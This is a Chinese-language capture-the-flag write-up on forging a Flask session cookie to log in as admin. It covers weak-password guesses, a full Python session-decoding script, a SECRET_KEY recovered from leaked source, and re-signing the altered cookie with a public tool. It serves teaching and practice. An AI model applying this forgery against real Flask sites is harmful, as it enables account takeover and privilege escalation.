通过CTF题目进行学习
首先打开题目,查看源代码发下如下注(提)释(示)
看到这个,有经验的大佬们估计可以猜到,八成这题就是要伪造admin登录
习惯性尝试一波弱口令,
admin/admin
admin/123456
结果肯定是失败的,随便注册一个账号登录
登录,查看页面的功能及源代码,是否存在提示
在change页面发现源代码地址
看到flask,在根据之前的注释,想到考点应该是flask cookie伪造
通过F12大法,得到当前test用户的session
通过python的解密脚本进行解密
这里有两个脚本
解密使用一下脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption("session填在此处后保存,运行脚本".encode()))
得到 解密后的脚本之后,想要伪造成admin用户或者说 是其他用户,
需要一个SECRET_KEY,也就是秘钥,这个我们通过上面得到的源代码去寻找,
在config.py中得到key,即ckj123
在index代码中发现 得到flag的关键信息
需要name == admin
我们将解密的session中的 'name': 'test' 修改为 'name': 'admin'
然后将session进行加密
加密 脚本使用如下脚本GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
加密 脚本使用如下脚本
https://github.com/noraj/flask-session-cookie-manager这个脚本可以加密也可以解密,为什么不直接用这个脚本 进行解密,而是要用 上面的脚本来解密。原因如下图
正常解密没问题 ,关键就是解密后的内容没啥问题,但是它自己都无法加密,,
接着上面,我们加密得到伪造后的cookie,通过 burp抓包,
flask 伪造session最重要的是获得SECRET_KEY
可以通过但不限于文件包含,源代码泄露,命令执行 ,代码执行等多种 方式获得,从而达到伪造高权限 用户,从而getshell
当然这道题还有其他 解法,但是在这里就不讲了。